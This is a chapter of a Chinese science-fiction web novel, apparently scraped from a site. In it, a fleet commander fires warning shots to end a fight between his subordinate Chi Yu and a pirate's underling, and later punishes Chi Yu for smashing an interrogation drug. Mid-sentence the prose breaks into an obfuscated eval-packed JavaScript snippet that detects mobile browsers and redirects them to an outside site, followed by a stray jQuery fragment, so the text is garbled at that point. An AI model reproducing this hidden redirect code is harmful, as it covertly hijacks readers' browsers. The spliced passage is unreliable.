子弹划过池瑜和阿修斯的侧脸,镶嵌入墙壁里,震耳欲聋的枪声让二人停止了动作。
两枚子弹擦过池瑜和阿修斯的侧脸,没有厚此薄彼,一人一枪。
男人一手插着兜一手举着枪对着二人,黑黝黝的枪口还渗出硝烟的味道。
军装披风披在肩膀上,显得男人几分居高临下的漠然与冷意。
对上沉戾泛着晦暗冷意的双眸,一瞬间,二人僵住。
池瑜迅速收回想要打在阿修斯脸上的拳头,像是习惯了一样,熟练做了个拉嘴的动作。
阿修斯则是瞬间闭嘴,似是因为男人身上迸发出的骇人杀气与压迫感顿住了。
看他这副胆小的样子,池瑜不免嗤笑了一声,“怕什么?我老大枪法很好的,从来没打中过人。”
“砰!”
话音刚落,头顶又擦过一发子弹。
池瑜这下子真的安分了,他又做了个拉上嘴的动作。
沉戾向前几步,蹙着眉看着二人刚刚打完一架浑身狼狈的模样,显然阿修斯更为狼狈,一头银发被池瑜打得跟鸡窝一样。
虽然嘴闭上了,池瑜却还跟阿修斯挤眉弄眼,呲牙咧嘴威胁着,二人的手势胡乱地也许只有二人能懂其中的威胁之意,丝毫不把步步靠近的沉戾放在眼里。
池瑜伸手做了个滑脖子的动作,还伸出指尖扯着唇角露出尖利的犬牙,湿红的舌尖吐出来做鬼脸。
阿修斯不甘示弱,手上恶狠狠地不知道比划些什么,嘴上虚虚做着口型:池瑜我讨厌你。
池瑜“啧”了一声,也做了个口型:我也没有很喜欢你。
——沉戾气笑了。
男人似是被逗乐了一般,嗤笑了一声,也像是气极了,他眯着双眸,眼看二人又要打起来,提起池瑜的后衣领就揪着他往外走。
索尔多被这几声枪响惹得也凑过来,拍了拍沉戾的肩膀,又把地上的阿修斯扯起来,大手捂住了他的嘴。
就这样一人一个,总算消停了。
但是池瑜比较无法无天,被老大揪着后衣领,没像阿修斯一样被捂住嘴,他还颇为得意地吐了吐舌头。
“唔唔……!”阿修斯看见他的动作,瞪大了双眸拼命挣扎着。
猛然,冰冷的枪口抵住了池瑜的额头。
“池瑜,安分点。”
沉戾深吸了一口气,忍着把枪口塞进他那张素来喋喋不休、还会吐舌头做鬼脸的嘴里的情绪。
索尔多揪着恨不得上去再和池瑜大战三百回合的阿修斯打着哈哈,“小孩都这样,别太苛责……”
红发男人总是这么一身老好人爱打圆场的形象,男人生得高大壮硕,麦色皮肤衬着亮白的牙,肌肉结实的手臂揽着阿修斯的脖颈,差点把他揽得背过气去。
大多数人对索尔多的印象都很好,毕竟他总是那么爽朗又热情,说话也能常常鼓舞人心,有时还会给池瑜带点别的星球的小玩意玩。
但是沉戾不一样,他很不喜欢索尔多。
这人是个奸商。
宇宙最大的星盗集团——星辰海的团长,纵横各个星系,游走于联邦、反联邦以及自由盟之间做着黑色生意,一旁的阿修斯正是他的部下。
听到红发男人这么说话,沉戾才把视线落到一旁的阿修斯身上,他松开扯着池瑜衣领的手,示意他给自己拿一根雪茄,咬在嘴里才垂着双眸吸了一口。
然后举起枪口对准索尔多和阿修斯。
“砰砰”两声枪响,硝烟伴随着满地的寂静。
“……扯平了。”
沉戾扫过一脸错愕的索尔多,指尖夹着雪茄,难得开着尊口解释,“他刚刚多打了池瑜一拳。”
自己也多给了池瑜一枪。
沉戾从不内耗,所以他果断还给阿修斯了两枪,对于并非新黎明的人,沉戾从没有什么怜惜之情,哪怕他和池瑜一个年纪——而且和池瑜一个年纪又能怎样,他这个年纪的时候早就指挥着部下不知道歼灭了多少艇联邦舰了。
池瑜忍着吹口哨起哄的心思,这时候又说话了,他看向阿修斯,嗓音认真又尾音上扬,“没事的,老大枪法很好的,从来打不中人的。”
——所以拔枪也只是,示威、嫌烦了、让人闭嘴。
擦着边过去,从没打伤过……人,不如说没打伤过池瑜,毕竟没人敢像池瑜一样在他眼前这么放肆。
但是阿修斯这次例外。
看着被擦着子弹过去的银色发丝,狼尾被得秃了两块,阿修斯一脸错愕。
他捂着发丝,浑身哆哆嗦嗦,看起来要被气死了。
被小的欺负了,被大的欺负。
这边拖着池瑜走了,少年和男人不耐烦的嗓音渐行渐远,无非是——
“老大好帅,是在给我出气吗?但是其实是我多打了阿修斯两拳。”
“……闭嘴。”
沉戾为小孩出气的态度无疑令人羡慕,阿修斯捂着自己为了见池瑜打理的新发型,红着眼眶,幽怨的视线看向了自己的老大——索尔多。
红发男人摸了摸鼻尖,似是心虚一般又拍了拍阿修斯的头,“没事,这样也挺帅的,新头发过几天就长出来了。”
可他刚刚看着自己的部下被枪指着,什么都没说。
“……团长,您为什么一言不发。”
银发少年颇带着犀利的指出问题,看向无能的团长。
索尔多顿了顿,略过他的指责,突然裂开嘴笑了,笑得明朗,必出个二的手势,嗓音低哑,“……比市场价多了两成。”
“什么?”
“沉戾要的两艘能量晶。”他拍了拍少年的头,眼底泛着慈爱,“所以头发秃两块也没什么,他心里有气而已,团长回去给你涨工资,”
能量晶是舰艇、枪械、甚至于设施基本运行的根本能源,近些年来愈发被联邦管控,难以偷渡。
本来运输给新黎明供给一年量的两艘飞船一炸一失踪,沉戾也只能和他这个奸商做交易了。
毕竟只有他手上有这么大量。
因为多吞了两成利益而不为他出头出气,阿修斯憋红了脸,却因为对团长的敬意让他只能干巴巴吐出一句,“……您应该多学学沉戾指挥官的。”
“学他干嘛?”索尔多略微诧异,大手揉了揉少年的发丝,他亮起虎牙尖,自信一笑。
“脾气又大对小瑜还那么凶……但是团长对你很好吧?还给你涨工资呢。”
阿修斯捂着发丝,有苦没地方说,憋屈地要死。
……只能又给池瑜记一笔。
这边的雪茄抽了一半,男人甩过肩上披着的军装,长腿一翘坐到了椅子上,一旁的池瑜递过雪茄,凑到他面前问。
“机密生意谈好了吗?老大?”
“……谈好了。”
沉戾瞥了他一眼,哑着嗓音用几乎笃定的语气说,“……你又闯祸了。”
这么殷勤,也只能是因为这个了。
哇,老大好聪明。
简直是男人中的男人,雄性中的雄性——
还没等池瑜脑海里的夸赞略过去,门便被敲击了一下,门后传来喻兰深吸一口气的沉稳嗓音,“指挥官,属下有事找您汇报。”
……指挥官。
对,沉戾应该被叫作指挥官。
而不是池瑜一口一个殷切又喋喋不休的“老大”,他纠正了多年,以前还能冷着一张脸纠正他说指挥官,现在完全没有那个精力——
反正池瑜被枪指着脑袋,还能亮晶晶着双眸叫他老大。
“进。”
话音落下,喻兰推门而入,看见池瑜早早在沉戾身边殷切的模样,喻兰恶狠狠蹬了他一眼,狭长的眸中带着几分威胁。
——池瑜,你完了。
要不是路上被事物汇报绊住了脚,现在这个闯了大祸的小疯子就该被关禁闭了,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969865|177789||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉吸了一口气,对沉戾行礼。
“什么都没逼问出来,秦烬骁软硬不吃,已经关进禁闭室了,还有……”喻兰的视线瞥到了池瑜身上,嗓音低哑带着几分咬牙切齿,“N-17痛觉敏化素全被池瑜打碎了,全部。”
他加重了尾音。
……原来叫痛觉敏化素啊,花花绿绿的,池瑜还以为是饮料呢。
池瑜感叹了一下随后正襟危坐,下垂的狗狗眼无辜看向他,“老大我不是故意的,真的只是不小心,我还以为能喝呢……”
“指挥官,我怀疑他就是故意的,他哪次不是——!”喻兰加重了尾音,显然有些情绪失控。
沉戾略微蹙眉止住了他的动作,指尖揉了揉额角,“关一天禁闭。”
说实话,新黎明以及青龙组里有很多严苛的规定,比如队内斗殴、不敬军长等等的惩罚机制,但并没有哪项明文规定池瑜这样的情况该如何处理,虽然人闹腾了点,但安排下的事情从未有过失误,是喻兰之下的二把手也不为过。
但是这也导致他愈发无法无天,扯着张无辜、不小心的皮,打着哈哈便略过去。
“只关一天禁闭?!”
喻兰不可置信,“指挥官,N-17现在有价无市,尤其是吗叮的价格,他将现在存余的N-17全都打碎了,以致于会推迟审讯秦烬骁的进度,逼问出另一艘能量晶刻不容缓,您……”
“再加三天指挥室的卫生。”
沉戾已经发话,喻兰再恼怒也只能听从,但是听到后面,还是忍不住开口,“让他去您指挥室三天,您确定他不会开会的时候往您腿上钻吗?”
毕竟池瑜对沉戾的崇拜有目共睹,几乎所有人都知道,池瑜是指挥官的迷弟。
每每沉戾杀人或是落下什么指挥了,都是池瑜第一个上去吹彩虹屁,亮晶晶着漆黑的双眸,嘴里的夸赞也不要钱一般往外蹦。
大多数人怕沉戾,也只有池瑜敢往他身上钻,恨不得抱着大腿拉扯着让人不前进半步。
男人略微蹙眉,似是想到了这一场面,呼了一口气。
“……三天禁闭。”
一旁的池瑜不满了,他认真开口,“我更想要第一个惩罚。”
“对你来说真是惩罚吗?”喻兰冷嗤一声,“你这么崇拜指挥官,让你去指挥室打扫卫生,这算什么惩罚?”
真正的惩罚应该是精神肉.体上的摧残,比如意识传入精神训诫装置做上几天最为恐惧最为摧残精神的噩梦,或是注射了N-17被喻兰亲手施刑。
哪个都比所谓的关禁闭、打扫卫生严重多了。
偏偏他还不满足,得寸进尺。
“这能一样算吗?”
池瑜反驳,少年帅气俊美的脸上满是正经,“我对老大的感情就和对美国队长一样,就算再喜欢再崇拜,私人感情也不会出现在工作里,我还是觉得打扫卫生更为严重,所以老大罚我打扫卫生吧——”
他说完就要可怜兮兮去看沉戾。
关禁闭那么无聊的事情,还不如去指挥室打扫卫生跟老大吹彩虹屁呢。
听他说完,沉戾和喻兰都顿了顿,拧起了眉头,沉戾指尖的雪茄燃尽了,他摁灭了烟头,晦暗的视线落到少年身上。
美国队长?
……队长?
喻兰突然冷嗤一声,嘲讽道,“美国队长?哪认识的野男人?”
沉戾则吐出最后一口烟,嗓音低哑,心情看起来不太好的样子,蹙眉问。
“……你在外面还有别的野老大?”
池瑜沉默了一会儿,随后欣然接受了关禁闭的惩罚。
比起被逼问美国队长是谁,他还是更想去禁闭室沉淀三天。
……再说了,他也真的很崇拜美国队长。
他只能板着张俊脸,颇带着成熟的拍了拍喻兰的肩膀,“等我沉淀回来再跟你们解释。”
随后转身就往禁闭室走。